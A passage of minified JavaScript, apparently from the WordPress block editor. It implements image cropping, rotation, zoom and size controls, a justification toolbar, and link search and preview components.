W3({src:e,onLoad:t,minZoom:o=ub,maxZoom:r=hoe,...n}){let{cropperState:i,setCropperState:s}=GS(),{crop:a,zoom:c,rotation:u,aspectRatio:d,flip:f}=i,m=v=&gt;s({crop:v}),h=v=&gt;s({zoom:v}),p=v=&gt;s({rotation:v}),g=v=&gt;s({mediaSize:v}),b=(0,Soe.useCallback)((v,k)=&gt;{s({croppedArea:v,croppedAreaPixels:k})},[s]);return(0,_oe.jsx)(foe,{classes:{containerClassName:&quot;image-cropper__container&quot;,cropAreaClassName:&quot;image-cropper__crop-area&quot;,mediaClassName:&quot;image-cropper__image&quot;},minZoom:o,maxZoom:r,rotation:u,image:e,setMediaSize:g,crop:a,zoom:c,aspect:d,onCropChange:m,onZoomChange:h,onCropComplete:b,onMediaLoaded:v=&gt;{t?.(v)},onRotationChange:p,transform:[`translate(${a.x}px, ${a.y}px)`,`rotateZ(${u}deg)`,`rotateY(${f.horizontal?180:0}deg)`,`rotateX(${f.vertical?180:0}deg)`,`scale(${c})`].join(&quot; &quot;),...n})}var pb=l(A(),1),mb=l(N(),1);var xoe=100,woe=300,xI={placement:&quot;bottom-start&quot;};var fb=l(R(),1);var wI=l(F(),1),Km=l(R(),1),hc=l(N(),1),Coe=l(Un(),1),Boe=l(Fe(),1);var zEe={crop:(0,hc.__)(&quot;Image cropped.&quot;),rotate:(0,hc.__)(&quot;Image rotated.&quot;),cropAndRotate:(0,hc.__)(&quot;Image cropped and rotated.&quot;)};function Eoe({crop:e,rotation:t,url:o,id:r,onSaveImage:n,onFinishEditing:i}){let{createErrorNotice:s,createSuccessNotice:a}=(0,wI.useDispatch)(Coe.store),[c,u]=(0,Km.useState)(!1),{editMediaEntity:d}=(0,wI.useSelect)(h=&gt;({editMediaEntity:h(_).getSettings()?.[_0]}),[]),f=(0,Km.useCallback)(()=&gt;{u(!1),i()},[i]),m=(0,Km.useCallback)(async()=&gt;{if(!d){i(),s((0,hc.__)(&quot;Sorry, you are not allowed to edit images on this site.&quot;),{id:&quot;image-editing-error&quot;,type:&quot;snackbar&quot;});return}u(!0);let h=[];if(t&gt;0&amp;&amp;h.push({type:&quot;rotate&quot;,args:{angle:t}}),(e.width&lt;99.9||e.height&lt;99.9)&amp;&amp;h.push({type:&quot;crop&quot;,args:{left:e.x,top:e.y,width:e.width,height:e.height}}),h.length===0){u(!1),i();return}let p=h.length===1?h[0].type:&quot;cropAndRotate&quot;;try{let g=await d(r,{src:o,modifiers:h},{throwOnError:!0});g&amp;&amp;(n({id:g.id,url:g.source_url}),a(zEe[p],{type:&quot;snackbar&quot;,actions:[{label:(0,hc.__)(&quot;Undo&quot;),onClick:()=&gt;{n({id:r,url:o})}}]}))}catch(g){s((0,hc.sprintf)((0,hc.__)(&quot;Could not edit image. %s&quot;),(0,Boe.__unstableStripHTML)(g.message)),{id:&quot;image-editing-error&quot;,type:&quot;snackbar&quot;})}finally{u(!1),i()}},[e,t,r,o,n,s,a,i,d]);return(0,Km.useMemo)(()=&gt;({isInProgress:c,apply:m,cancel:f}),[c,m,f])}var Xs=l(R(),1),Toe=l(ut(),1);function Ioe({url:e,naturalWidth:t,naturalHeight:o}){let[r,n]=(0,Xs.useState)(),{cropperState:i,setCropperState:s}=GS(),{zoom:a,aspectRatio:c,crop:u,croppedArea:d}=i,f=(0,Xs.useCallback)(k=&gt;{s({zoom:k})},[s]),m=(0,Xs.useCallback)(k=&gt;{s({aspectRatio:k})},[s]),h=t/o,p=o/t;(0,Xs.useEffect)(()=&gt;{m(h)},[]);let[g,b]=(0,Xs.useState)(0),v=(0,Xs.useCallback)(()=&gt;{let k=(g+90)%360,y=h,x=a!==1||!(h===c||p===c);if(g%180===90&amp;&amp;(y=1/h),k===0){n(),b(k),s({aspectRatio:x?c:h,crop:{x:-(u.y*y),y:u.x*y}});return}function C(P){let E=document.createElement(&quot;canvas&quot;),L=0,T=0;k%180?(E.width=P.target.height,E.height=P.target.width):(E.width=P.target.width,E.height=P.target.height),(k===90||k===180)&amp;&amp;(L=E.width),(k===270||k===180)&amp;&amp;(T=E.height);let O=E.getContext(&quot;2d&quot;);O.translate(L,T),O.rotate(k*Math.PI/180),O.drawImage(P.target,0,0),E.toBlob(D=&gt;{n(URL.createObjectURL(D)),b(k);let U=x?c:E.width/E.height;s({aspectRatio:U,crop:{x:-(u.y*y),y:u.x*y}})})}let B=new window.Image;B.src=e,B.onload=C;let I=(0,Toe.applyFilters)(&quot;media.crossOrigin&quot;,void 0,e);typeof I==&quot;string&quot;&amp;&amp;(B.crossOrigin=I)},[g,h,e,s,u,a,c,p,b]);return(0,Xs.useMemo)(()=&gt;({editedUrl:r,setEditedUrl:n,crop:d,zoom:a,setZoom:f,rotation:g,rotateClockwise:v,aspect:c,setAspect:m,defaultAspect:h}),[r,d,a,f,g,v,c,m,h])}var Poe=l(w(),1),$3=(0,fb.createContext)({});$3.displayName=&quot;ImageEditingContext&quot;;var Ua=()=&gt;(0,fb.useContext)($3);function Roe({id:e,url:t,naturalWidth:o,naturalHeight:r,onFinishEditing:n,onSaveImage:i,children:s}){let a=Ioe({url:t,naturalWidth:o,naturalHeight:r}),c=Eoe({id:e,url:t,onSaveImage:i,onFinishEditing:n,...a}),u=(0,fb.useMemo)(()=&gt;({...a,...c}),[a,c]);return(0,Poe.jsx)($3.Provider,{value:u,children:s})}var ts=l(w(),1);function CI({aspectRatios:e,isDisabled:t,label:o,onClick:r,value:n}){return(0,ts.jsx)(pb.MenuGroup,{label:o,children:e.map(({name:i,slug:s,ratio:a})=&gt;(0,ts.jsx)(pb.MenuItem,{disabled:t,onClick:()=&gt;{r(a)},role:&quot;menuitemradio&quot;,isSelected:a===n,icon:a===n?gl:void 0,children:i},s))})}function jEe(e){let[t,o,...r]=e.split(&quot;/&quot;).map(Number);return t&lt;=0||o&lt;=0||Number.isNaN(t)||Number.isNaN(o)||r.length?NaN:o?t/o:t}function K3({ratio:e,...t}){return{ratio:jEe(e),...t}}function Ooe({toggleProps:e}){let{isInProgress:t,aspect:o,setAspect:r,defaultAspect:n}=Ua(),[i,s,a]=me(&quot;dimensions.aspectRatios.default&quot;,&quot;dimensions.aspectRatios.theme&quot;,&quot;dimensions.defaultAspectRatios&quot;);return(0,ts.jsx)(pb.DropdownMenu,{icon:jO,label:(0,mb.__)(&quot;Aspect Ratio&quot;),popoverProps:xI,toggleProps:e,children:({onClose:c})=&gt;(0,ts.jsxs)(ts.Fragment,{children:[(0,ts.jsx)(CI,{isDisabled:t,onClick:u=&gt;{r(u),c()},value:o,aspectRatios:[{slug:&quot;original&quot;,name:(0,mb.__)(&quot;Original&quot;),ratio:n},...a?i.map(K3).filter(({ratio:u})=&gt;u===1):[]]}),s?.length&gt;0&amp;&amp;(0,ts.jsx)(CI,{label:(0,mb.__)(&quot;Theme&quot;),isDisabled:t,onClick:u=&gt;{r(u),c()},value:o,aspectRatios:s}),a&amp;&amp;(0,ts.jsx)(CI,{label:(0,mb.__)(&quot;Landscape&quot;),isDisabled:t,onClick:u=&gt;{r(u),c()},value:o,aspectRatios:i.map(K3).filter(({ratio:u})=&gt;u&gt;1)}),a&amp;&amp;(0,ts.jsx)(CI,{label:(0,mb.__)(&quot;Portrait&quot;),isDisabled:t,onClick:u=&gt;{r(u),c()},value:o,aspectRatios:i.map(K3).filter(({ratio:u})=&gt;u&lt;1)})]})})}var Aoe=l(A(),1),Loe=l(Z(),1);var Cd=l(w(),1);function Noe({url:e,width:t,height:o,naturalHeight:r,naturalWidth:n,borderProps:i}){let{isInProgress:s,editedUrl:a,rotation:c}=Ua(),[u,{width:d}]=(0,Loe.useResizeObserver)(),f=o||d*r/n;c%180===90&amp;&amp;(f=d*n/r);let m=(0,Cd.jsxs)(&quot;div&quot;,{className:V(&quot;wp-block-image__crop-area&quot;,i?.className,{&quot;is-applying&quot;:s}),style:{...i?.style,width:t||d,height:f},children:[(0,Cd.jsx)(W3,{src:a||e}),s&amp;&amp;(0,Cd.jsx)(Aoe.Spinner,{})]});return(0,Cd.jsxs)(Cd.Fragment,{children:[u,m]})}var Bd=l(A(),1),Y3=l(N(),1);var WS=l(w(),1);function Moe(){let{isInProgress:e,zoom:t,setZoom:o}=Ua();return(0,WS.jsx)(Bd.Dropdown,{contentClassName:&quot;wp-block-image__zoom&quot;,popoverProps:xI,renderToggle:({isOpen:r,onToggle:n})=&gt;(0,WS.jsx)(Bd.ToolbarButton,{icon:tN,label:(0,Y3.__)(&quot;Zoom&quot;),onClick:n,&quot;aria-expanded&quot;:r,disabled:e}),renderContent:()=&gt;(0,WS.jsx)(Bd.__experimentalDropdownContentWrapper,{paddingSize:&quot;medium&quot;,children:(0,WS.jsx)(Bd.RangeControl,{__next40pxDefaultSize:!0,label:(0,Y3.__)(&quot;Zoom&quot;),min:xoe,max:woe,value:Math.round(t*100),onChange:r=&gt;o(r/100)})})})}var Doe=l(A(),1),Voe=l(N(),1);var Foe=l(w(),1);function zoe(){let{isInProgress:e,rotateClockwise:t}=Ua();return(0,Foe.jsx)(Doe.ToolbarButton,{icon:XL,label:(0,Voe.__)(&quot;Rotate&quot;),onClick:t,disabled:e})}var q3=l(A(),1),Z3=l(N(),1);var Ym=l(w(),1);function joe(){let{isInProgress:e,apply:t,cancel:o}=Ua();return(0,Ym.jsxs)(Ym.Fragment,{children:[(0,Ym.jsx)(q3.ToolbarButton,{onClick:t,disabled:e,children:(0,Z3.__)(&quot;Apply&quot;)}),(0,Ym.jsx)(q3.ToolbarButton,{onClick:o,children:(0,Z3.__)(&quot;Cancel&quot;)})]})}var ci=l(w(),1);function Uoe({id:e,url:t,width:o,height:r,naturalHeight:n,naturalWidth:i,onSaveImage:s,onFinishEditing:a,borderProps:c}){return(0,ci.jsx)(G3,{children:(0,ci.jsxs)(Roe,{id:e,url:t,naturalWidth:i,naturalHeight:n,onSaveImage:s,onFinishEditing:a,children:[(0,ci.jsx)(Noe,{borderProps:c,url:t,width:o,height:r,naturalHeight:n,naturalWidth:i}),(0,ci.jsxs)(Mt,{children:[(0,ci.jsxs)($S.ToolbarGroup,{children:[(0,ci.jsx)(Moe,{}),(0,ci.jsx)($S.ToolbarItem,{children:u=&gt;(0,ci.jsx)(Ooe,{toggleProps:u})}),(0,ci.jsx)(zoe,{})]}),(0,ci.jsx)($S.ToolbarGroup,{children:(0,ci.jsx)(joe,{})})]})]})})}var ui=l(A(),1),Ed=l(N(),1);var hb=l(R(),1);function Hoe(e,t,o,r,n){let[i,s]=(0,hb.useState)(t??r??&quot;&quot;),[a,c]=(0,hb.useState)(e??o??&quot;&quot;);return(0,hb.useEffect)(()=&gt;{t===void 0&amp;&amp;r!==void 0&amp;&amp;s(r),e===void 0&amp;&amp;o!==void 0&amp;&amp;c(o)},[r,o]),(0,hb.useEffect)(()=&gt;{t!==void 0&amp;&amp;Number.parseInt(t)!==Number.parseInt(i)&amp;&amp;s(t),e!==void 0&amp;&amp;Number.parseInt(e)!==Number.parseInt(a)&amp;&amp;c(e)},[t,e]),{currentHeight:a,currentWidth:i,updateDimension:(f,m)=&gt;{let h=m===&quot;&quot;?void 0:parseInt(m,10);f===&quot;width&quot;?s(h):c(h),n({[f]:h})},updateDimensions:(f,m)=&gt;{c(f??o),s(m??r),n({height:f,width:m})}}}var os=l(w(),1),Goe=[25,50,75,100],UEe=()=&gt;{};function Woe(e,t,o){let r=Math.round(t*(e/100)),n=Math.round(o*(e/100));return{scaledWidth:r,scaledHeight:n}}function $oe({imageSizeHelp:e,imageWidth:t,imageHeight:o,imageSizeOptions:r=[],isResizable:n=!0,slug:i,width:s,height:a,onChange:c,onChangeImage:u=UEe}){let{currentHeight:d,currentWidth:f,updateDimension:m,updateDimensions:h}=Hoe(a,s,o,t,c),p=b=&gt;{if(b===void 0){h();return}let{scaledWidth:v,scaledHeight:k}=Woe(b,t,o);h(k,v)},g=Goe.find(b=&gt;{let{scaledWidth:v,scaledHeight:k}=Woe(b,t,o);return f===v&amp;&amp;d===k});return(0,os.jsxs)(ui.__experimentalVStack,{className:&quot;block-editor-image-size-control&quot;,spacing:&quot;4&quot;,children:[r&amp;&amp;r.length&gt;0&amp;&amp;(0,os.jsx)(ui.SelectControl,{label:(0,Ed.__)(&quot;Resolution&quot;),value:i,options:r,onChange:u,help:e,size:&quot;__unstable-large&quot;}),n&amp;&amp;(0,os.jsxs)(os.Fragment,{children:[(0,os.jsxs)(ui.__experimentalHStack,{align:&quot;baseline&quot;,spacing:&quot;4&quot;,children:[(0,os.jsx)(ui.__experimentalNumberControl,{label:(0,Ed.__)(&quot;Width&quot;),value:f,min:1,onChange:b=&gt;m(&quot;width&quot;,b),size:&quot;__unstable-large&quot;}),(0,os.jsx)(ui.__experimentalNumberControl,{label:(0,Ed.__)(&quot;Height&quot;),value:d,min:1,onChange:b=&gt;m(&quot;height&quot;,b),size:&quot;__unstable-large&quot;})]}),(0,os.jsx)(ui.__experimentalToggleGroupControl,{label:(0,Ed.__)(&quot;Image size presets&quot;),hideLabelFromVision:!0,onChange:p,value:g,isBlock:!0,__next40pxDefaultSize:!0,children:Goe.map(b=&gt;(0,os.jsx)(ui.__experimentalToggleGroupControlOption,{value:b,label:(0,Ed.sprintf)((0,Ed.__)(&quot;%d%%&quot;),b)},b))})]})]})}var BI=l(A(),1);var qm=l(N(),1),Yoe=l(w(),1),Koe={left:ru,center:ou,right:nu,&quot;space-between&quot;:Fp,stretch:zp};function HEe({allowedControls:e=[&quot;left&quot;,&quot;center&quot;,&quot;right&quot;,&quot;space-between&quot;],isCollapsed:t=!0,onChange:o,value:r,popoverProps:n,isToolbar:i}){let s=f=&gt;{o(f===r?void 0:f)},a=r?Koe[r]:Koe.left,c=[{name:&quot;left&quot;,icon:ru,title:(0,qm.__)(&quot;Justify items left&quot;),isActive:r===&quot;left&quot;,onClick:()=&gt;s(&quot;left&quot;)},{name:&quot;center&quot;,icon:ou,title:(0,qm.__)(&quot;Justify items center&quot;),isActive:r===&quot;center&quot;,onClick:()=&gt;s(&quot;center&quot;)},{name:&quot;right&quot;,icon:nu,title:(0,qm.__)(&quot;Justify items right&quot;),isActive:r===&quot;right&quot;,onClick:()=&gt;s(&quot;right&quot;)},{name:&quot;space-between&quot;,icon:Fp,title:(0,qm.__)(&quot;Space between items&quot;),isActive:r===&quot;space-between&quot;,onClick:()=&gt;s(&quot;space-between&quot;)},{name:&quot;stretch&quot;,icon:zp,title:(0,qm.__)(&quot;Stretch items&quot;),isActive:r===&quot;stretch&quot;,onClick:()=&gt;s(&quot;stretch&quot;)}],u=i?BI.ToolbarGroup:BI.ToolbarDropdownMenu,d=i?{isCollapsed:t}:{};return(0,Yoe.jsx)(u,{icon:a,popoverProps:n,label:(0,qm.__)(&quot;Change items justification&quot;),controls:c.filter(f=&gt;e.includes(f.name)),...d})}var X3=HEe;var Q3=l(w(),1),ah=e=&gt;(0,Q3.jsx)(X3,{...e,isToolbar:!1}),qoe=e=&gt;(0,Q3.jsx)(X3,{...e,isToolbar:!0});var Qr=l(A(),1),Qs=l(N(),1),no=l(R(),1),zre=l(Z(),1),jre=l(Fe(),1),Ure=l(it(),1),Hre=l(Jy(),1),zI=l(F(),1),aF=l(Zp(),1);var Gre=l(Re(),1),jI=l(dn(),1);var gb=l(A(),1);var EI=l(Z(),1),TI=l(N(),1),Zoe=l(R(),1),gc=l(w(),1);function Xoe({children:e,settingsOpen:t,setSettingsOpen:o}){let r=(0,EI.useReducedMotion)(),n=r?Zoe.Fragment:gb.__unstableAnimatePresence,i=r?&quot;div&quot;:gb.__unstableMotion.div,a=`link-control-settings-drawer-${(0,EI.useInstanceId)(Xoe)}`;return(0,gc.jsxs)(gc.Fragment,{children:[(0,gc.jsx)(gb.Button,{__next40pxDefaultSize:!0,className:&quot;block-editor-link-control__drawer-toggle&quot;,&quot;aria-expanded&quot;:t,onClick:()=&gt;o(!t),icon:(0,TI.isRTL)()?ev:tu,&quot;aria-controls&quot;:a,children:(0,TI._x)(&quot;Advanced&quot;,&quot;Additional link settings&quot;)}),(0,gc.jsx)(n,{children:t&amp;&amp;(0,gc.jsx)(i,{className:&quot;block-editor-link-control__drawer&quot;,hidden:!t,id:a,initial:&quot;collapsed&quot;,animate:&quot;open&quot;,exit:&quot;collapsed&quot;,variants:{open:{opacity:1,height:&quot;auto&quot;},collapsed:{opacity:0,height:0}},transition:{duration:.1},children:(0,gc.jsx)(&quot;div&quot;,{className:&quot;block-editor-link-control__drawer-inner&quot;,children:e})})})]})}var Qoe=Xoe;var LI=l(R(),1),iF=l(N(),1),bre=l(Re(),1);var KS=l(N(),1),cre=l(A(),1);var II=l(N(),1),Joe=l(A(),1),ere=l(R(),1);var J3=l(w(),1),GEe=({searchTerm:e,onClick:t,itemProps:o,buttonText:r})=&gt;{if(!e)return null;let n;return r?n=typeof r==&quot;function&quot;?r(e):r:n=(0,ere.createInterpolateElement)((0,II.sprintf)((0,II.__)(&quot;Create: &lt;mark&gt;%s&lt;/mark&gt;&quot;),e),{mark:(0,J3.jsx)(&quot;mark&quot;,{})}),(0,J3.jsx)(Joe.MenuItem,{...o,iconPosition:&quot;left&quot;,icon:Bi,className:&quot;block-editor-link-control__search-item&quot;,onClick:t,children:n})},tre=GEe;var bc=l(N(),1),RI=l(A(),1);var ore=l(Fe(),1),kb=l(dn(),1),rre=l(Z(),1),nre=l(Re(),1),bb=l(w(),1),PI={post:{icon:$L,label:(0,bc.__)(&quot;Post&quot;)},page:{icon:kl,label:(0,bc.__)(&quot;Page&quot;)},post_tag:{icon:xN,label:(0,bc.__)(&quot;Tag&quot;)},category:{icon:$O,label:(0,bc.__)(&quot;Category&quot;)},attachment:{icon:SA,label:(0,bc.__)(&quot;Attachment&quot;)}};function WEe({isURL:e,suggestion:t}){let o=null;return e?o=ov:t.type in PI&amp;&amp;(o=PI[t.type].icon,t.type===&quot;page&quot;&amp;&amp;(t.isFrontPage&amp;&amp;(o=JA),t.isBlogHome&amp;&amp;(o=DN))),o?(0,bb.jsx)(we,{className:&quot;block-editor-link-control__search-item-icon&quot;,icon:o}):null}function $Ee(e){return e?.trim()?.length?e?.replace(/^\/?/,&quot;/&quot;):e}function KEe(e){return e?.trim()?.length?e?.replace(/\/$/,&quot;&quot;):e}var YEe=(e,...t)=&gt;(...o)=&gt;e(...o,...t),qEe=e=&gt;t=&gt;t==null||t!==t?e:t;function ZEe(e){return e&amp;&amp;(0,rre.pipe)(kb.safeDecodeURI,kb.getPath,qEe(&quot;&quot;),YEe(kb.filterURLForDisplay,24),KEe,$Ee)(e)}var ire=({itemProps:e,suggestion:t,searchTerm:o,onClick:r,isURL:n=!1,shouldShowType:i=!1})=&gt;{let s=n?(0,bc.__)(&quot;Press ENTER to add this link&quot;):ZEe(t.url);return(0,bb.jsx)(RI.MenuItem,{...e,info:s,iconPosition:&quot;left&quot;,icon:(0,bb.jsx)(WEe,{suggestion:t,isURL:n}),onClick:r,shortcut:i&amp;&amp;XEe(t),className:&quot;block-editor-link-control__search-item&quot;,children:(0,bb.jsx)(RI.TextHighlight,{text:(0,ore.__unstableStripHTML)(t.title),highlight:o})})};function XEe(e){return e.isFrontPage?(0,bc.__)(&quot;Front page&quot;):e.isBlogHome?(0,bc.__)(&quot;Blog home&quot;):e.type in PI?PI[e.type].label:e.type}var sre=ire,are=e=&gt;((0,nre.default)(&quot;wp.blockEditor.__experimentalLinkControlSearchItem&quot;,{since:&quot;6.8&quot;}),(0,bb.jsx)(ire,{...e}));var lre=l(N(),1),Zm=&quot;__CREATE__&quot;,eF=&quot;tel&quot;,OI=&quot;link&quot;,tF=&quot;mailto&quot;,oF=&quot;internal&quot;,vb=[OI,tF,eF,oF],rF=[{id:&quot;opensInNewTab&quot;,title:(0,lre.__)(&quot;Open in new tab&quot;)}];var ure=l(Re(),1),Xm=l(w(),1);function dre({withCreateSuggestion:e,currentInputValue:t,handleSuggestionClick:o,suggestionsListProps:r,buildSuggestionItemProps:n,suggestions:i,selectedSuggestion:s,isLoading:a,isInitialSuggestions:c,createSuggestionButtonText:u,suggestionsQuery:d}){let f=V(&quot;block-editor-link-control__search-results&quot;,{&quot;is-loading&quot;:a}),m=i.length===1&amp;&amp;vb.includes(i[0].type),h=e&amp;&amp;!m&amp;&amp;!c,p=!d?.type,g=c?(0,KS.__)(&quot;Suggestions&quot;):(0,KS.sprintf)((0,KS.__)(&#039;Search results for &quot;%s&quot;&#039;),t);return(0,Xm.jsx)(&quot;div&quot;,{className:&quot;block-editor-link-control__search-results-wrapper&quot;,children:(0,Xm.jsx)(&quot;div&quot;,{...r,className:f,&quot;aria-label&quot;:g,children:(0,Xm.jsx)(cre.MenuGroup,{children:i.map((b,v)=&gt;h&amp;&amp;Zm===b.type?(0,Xm.jsx)(tre,{searchTerm:t,buttonText:u,onClick:()=&gt;o(b),itemProps:n(b,v),isSelected:v===s},b.type):Zm===b.type?null:(0,Xm.jsx)(sre,{itemProps:n(b,v),suggestion:b,index:v,onClick:()=&gt;{o(b)},isSelected:v===s,isURL:vb.includes(b.type),searchTerm:t,shouldShowType:p,isFrontPage:b?.isFrontPage,isBlogHome:b?.isBlogHome},`${b.id}-${b.type}`))})})})}var fre=dre,mre=e=&gt;((0,ure.default)(&quot;wp.blockEditor.__experimentalLinkControlSearchResults&quot;,{since:&quot;6.8&quot;}),(0,Xm.jsx)(dre,{...e}));var pre=l(R(),1),hre=l(F(),1);var AI=l(dn(),1);function YS(e){let t=e?.trim();if(!t)return{url:t,type:OI};let o=OI,r=(0,AI.getProtocol)(t)||&quot;&quot;;return r.includes(&quot;mailto&quot;)?o=tF:r.includes(&quot;tel&quot;)?o=eF:t?.startsWith(&quot;#&quot;)&amp;&amp;(o=oF),gf(t)||bf(t)||t.startsWith(&quot;?&quot;)||r?{url:t,type:o}:{url:(0,AI.prependHTTPS)(t),type:o}}var QEe=()=&gt;Promise.resolve([]),JEe=e=&gt;{let{url:t,type:o}=YS(e);return Promise.resolve([{id:e,title:e,url:t,type:o}])},eTe=async(e,t,o,r,n,i)=&gt;{let{isInitialSuggestions:s}=t,a=await o(e,t);return a.map(c=&gt;Number(c.id)===n?(c.isFrontPage=!0,c):(Number(c.id)===i&amp;&amp;(c.isBlogHome=!0),c)),s||kf(e)||!r?a:a.concat({title:e,url:e,type:Zm})};function gre(e,t,o){let{fetchSearchSuggestions:r,pageOnFront:n,pageForPosts:i}=(0,hre.useSelect)(a=&gt;{let{getSettings:c}=a(_);return{pageOnFront:c().pageOnFront,pageForPosts:c().pageForPosts,fetchSearchSuggestions:c().__experimentalFetchLinkSuggestions}},[]),s=t?JEe:QEe;return(0,pre.useCallback)((a,{isInitialSuggestions:c})=&gt;kf(a)?s(a,{isInitialSuggestions:c}):eTe(a,{...e,isInitialSuggestions:c},r,o,n,i),[s,r,n,i,e,o])}var yb=l(w(),1),tTe=()=&gt;Promise.resolve([]),nF=()=&gt;{},kre=(0,LI.forwardRef)(({value:e,children:t,currentLink:o={},className:r=null,placeholder:n=null,withCreateSuggestion:i=!1,onCreateSuggestion:s=nF,onChange:a=nF,onSelect:c=nF,showSuggestions:u=!0,renderSuggestions:d=C=&gt;(0,yb.jsx)(fre,{...C}),fetchSuggestions:f=null,allowDirectEntry:m=!0,showInitialSuggestions:h=!1,suggestionsQuery:p={},withURLSuggestion:g=!0,createSuggestionButtonText:b,hideLabelFromVision:v=!1,suffix:k,isEntity:y=!1,customValidity:S},x)=&gt;{let C=gre(p,m,i,g),B=u?f||C:tTe,[I,P]=(0,LI.useState)(),E=(U,G)=&gt;{a(U),P(G)},L=U=&gt;d({...U,withCreateSuggestion:i,createSuggestionButtonText:b,suggestionsQuery:p,handleSuggestionClick:G=&gt;{U.handleSuggestionClick&amp;&amp;U.handleSuggestionClick(G),T(G)}}),T=async U=&gt;{let G=U;if(Zm===U.type){try{G=await s(U.title),G?.url&amp;&amp;c(G)}catch{}return}if(m||G&amp;&amp;Object.keys(G).length&gt;=1){let{id:j,url:z,kind:W,type:ee,...se}=o??{};c({...se,...G},G)}},O=n??(0,iF.__)(&quot;Search or type URL&quot;),D=v&amp;&amp;n!==&quot;&quot;?O:(0,iF.__)(&quot;Link&quot;);return(0,yb.jsxs)(&quot;div&quot;,{className:&quot;block-editor-link-control__search-input-container&quot;,children:[(0,yb.jsx)(Td,{disableSuggestions:o?.url===e,label:D,hideLabelFromVision:v,className:r,value:e,onChange:E,placeholder:O,__experimentalRenderSuggestions:u?L:null,__experimentalFetchLinkSuggestions:B,__experimentalHandleURLSuggestions:!0,__experimentalShowInitialSuggestions:h,customValidity:S,required:!1,onSubmit:(U,G)=&gt;{let j=U||I;!j&amp;&amp;!e?.trim()?.length?G.preventDefault():T(j||{url:e})},inputRef:x,suffix:k,disabled:y}),t]})}),vre=kre,yre=e=&gt;((0,bre.default)(&quot;wp.blockEditor.__experimentalLinkControlSearchInput&quot;,{since:&quot;6.8&quot;}),(0,yb.jsx)(kre,{...e}));var Id=l(N(),1),Lo=l(A(),1),Cre=l(Z(),1),DI=l(dn(),1);var Bre=l(Fe(),1),VI=l(F(),1),Ere=l(Un(),1),Tre=l(Zp(),1);var Sre=l(A(),1),{Slot:_re,Fill:xre}=(0,Sre.createSlotFill)(&quot;BlockEditorLinkControlViewer&quot;);var wre=l(F(),1),NI=l(R(),1);function oTe(e,t){switch(t.type){case&quot;RESOLVED&quot;:return{...e,isFetching:!1,richData:t.richData};case&quot;ERROR&quot;:return{...e,isFetching:!1,richData:null};case&quot;LOADING&quot;:return{...e,isFetching:!0};default:throw new Error(`Unexpected action type ${t.type}`)}}function rTe(e){let[t,o]=(0,NI.useReducer)(oTe,{richData:null,isFetching:!1}),{fetchRichUrlData:r}=(0,wre.useSelect)(n=&gt;{let{getSettings:i}=n(_);return{fetchRichUrlData:i().__experimentalFetchRichUrlData}},[]);return(0,NI.useEffect)(()=&gt;{if(e?.length&amp;&amp;r&amp;&amp;typeof AbortController&lt;&quot;u&quot;){o({type:&quot;LOADING&quot;});let n=new window.AbortController,i=n.signal;return r(e,{signal:i}).then(s=&gt;{o({type:&quot;RESOLVED&quot;,richData:s})}).catch(()=&gt;{i.aborted||o({type:&quot;ERROR&quot;})}),()=&gt;{n.abort()}}},[e]),t}var MI=rTe;var vt=l(w(),1),{Badge:nTe}=M(Lo.privateApis);function Ire({value:e,onEditClick:t,hasRichPreviews:o=!1,hasUnlinkControl:r=!1,onRemove:n}){let i=(0,VI.useSelect)(b=&gt;b(Tre.store).get(&quot;core&quot;,&quot;showIconLabels&quot;),[]),s=o?e?.url:null,{richData:a,isFetching:c}=MI(s),u=a&amp;&amp;Object.keys(a).length,d=e&amp;&amp;(0,DI.filterURLForDisplay)((0,DI.safeDecodeURI)(e.url),24)||&quot;&quot;,f=!e?.url?.length,m=!f&amp;&amp;(0,Bre.__unstableStripHTML)(a?.title||e?.title||d),h;a?.icon?h=(0,vt.jsx)(&quot;img&quot;,{src:a?.icon,alt:&quot;&quot;}):f?h=(0,vt.jsx)(we,{icon:oL,size:32}):h=(0,vt.jsx)(we,{icon:ov});let{createNotice:p}=(0,VI.useDispatch)(Ere.store),g=(0,Cre.useCopyToClipboard)(e.url,()=&gt;{p(&quot;info&quot;,(0,Id.__)(&quot;Link copied to clipboard.&quot;),{isDismissible:!0,type:&quot;snackbar&quot;})});return(0,vt.jsx)(Lo.Flex,{role:&quot;group&quot;,&quot;aria-label&quot;:(0,Id.__)(&quot;Manage link&quot;),className:V(&quot;block-editor-link-control__preview&quot;,{&quot;is-current&quot;:!0,&quot;is-rich&quot;:u,&quot;is-fetching&quot;:!!c,&quot;is-preview&quot;:!0,&quot;is-error&quot;:f,&quot;is-url-title&quot;:m===d}),children:(0,vt.jsxs)(Lo.Flex,{gap:0,align:&quot;flex-start&quot;,children:[(0,vt.jsxs)(Lo.Flex,{className:&quot;block-editor-link-control__link-information&quot;,role:&quot;figure&quot;,&quot;aria-label&quot;:(0,Id.__)(&quot;Link information&quot;),justify:&quot;start&quot;,align:&quot;flex-start&quot;,children:[e?.image?(0,vt.jsx)(Lo.Flex,{className:&quot;block-editor-link-control__preview-image&quot;,justify:&quot;center&quot;,children:(0,vt.jsx)(&quot;img&quot;,{src:e?.image,alt:&quot;&quot;})}):(0,vt.jsx)(Lo.Flex,{className:V(&quot;block-editor-link-control__preview-icon&quot;,{&quot;is-image&quot;:a?.icon}),justify:&quot;center&quot;,children:h}),(0,vt.jsx)(Lo.Flex,{className:&quot;block-editor-link-control__preview-details&quot;,direction:&quot;column&quot;,gap:2,children:f?(0,vt.jsx)(&quot;span&quot;,{className:&quot;block-editor-link-control__preview-error-notice&quot;,children:(0,Id.__)(&quot;Link is empty&quot;)}):(0,vt.jsxs)(vt.Fragment,{children:[(0,vt.jsx)(Lo.ExternalLink,{className:&quot;block-editor-link-control__preview-title&quot;,href:e.url,children:(0,vt.jsx)(Lo.__experimentalTruncate,{numberOfLines:1,children:m})}),(0,vt.jsx)(&quot;span&quot;,{className:&quot;block-editor-link-control__preview-info&quot;,children:(0,vt.jsx)(Lo.__experimentalTruncate,{numberOfLines:1,children:d})}),e?.badges?.length&gt;0&amp;&amp;(0,vt.jsx)(Lo.__experimentalHStack,{className:&quot;block-editor-link-control__preview-badges&quot;,alignment:&quot;left&quot;,gap:1,children:e.badges.map((b,v)=&gt;(0,vt.jsx)(nTe,{intent:b.intent,children:b.label},`${b.label}|${b.intent}|${v}`))})]})})]}),(0,vt.jsx)(Lo.Button,{icon:Of,label:(0,Id.__)(&quot;Edit link&quot;),onClick:t,size:&quot;compact&quot;,showTooltip:!i}),r&amp;&amp;(0,vt.jsx)(Lo.Button,{icon:Ci,label:(0,Id.__)(&quot;Remove 